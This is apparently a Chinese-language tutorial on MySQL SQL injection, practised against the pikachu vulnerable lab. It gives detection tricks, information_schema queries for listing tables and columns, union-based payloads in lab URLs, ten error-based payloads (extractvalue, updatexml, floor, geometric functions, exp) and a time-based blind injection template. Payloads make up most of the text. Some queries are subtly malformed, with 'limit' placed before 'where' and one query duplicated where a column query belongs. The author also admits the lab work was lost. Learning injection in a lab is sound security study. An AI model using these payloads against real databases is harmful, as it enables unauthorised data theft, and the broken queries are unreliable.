前面述说了Mysql渗透时用的基础知识后,本章内容述说Mysql注入时所用的语法知识
直接使用awvs扫描器或者xray被动扫描,手工的话使用'和and 1=1判断吧
查表名 第一种:select group_concat(table_name) from information_schema.tables where table_schema=database() 第二种:select table_name from information_schema.tables limit 0,1 where table_schema=database() 查列名 第一种:select group_concat(column_name) from information_schema.columns where table_name='test2' 第二种:select table_name from information_schema.tables limit 0,1 where table_schema=database() 查字段值 select aaa from test2 limit 0,1
首先先order by查询字段(注意在url字段要url编码,后续为了直观都是url解码后的结果)
http://192.168.1.101/pikachu/vul/sqli/sqli_str.php?name=1' order by 2 #&submit=查询
即代表存在两个字段,当然可以直接使用union进行判断
http://192.168.1.101/pikachu/vul/sqli/sqli_str.php?name=-1' union select 1,2 #&submit=查询
然后再对应的回显字段套入响应的sql语句即可
说明:其中有些报错会对Mysql的版本有要求,具体原理请自行查询,这里本人把实验操作弄丢了(尴尬了。。。)。
1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2.extractvalue()= select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 4.geometrycollection() select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.multipoint() select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon() select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon() select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring() select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring() select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp() select * from test where id=1 and exp(~(select * from(select user())a));
原理:通过条件语句,判断返回的结果值是否满足触发时间函数或者布尔结果,利用二分法来对结果进行定位。
这里给一个语句模板
and if((sql语句),时间函数,1) %23
建议:这里使用sqlmap等sql注入工具进行注入更加。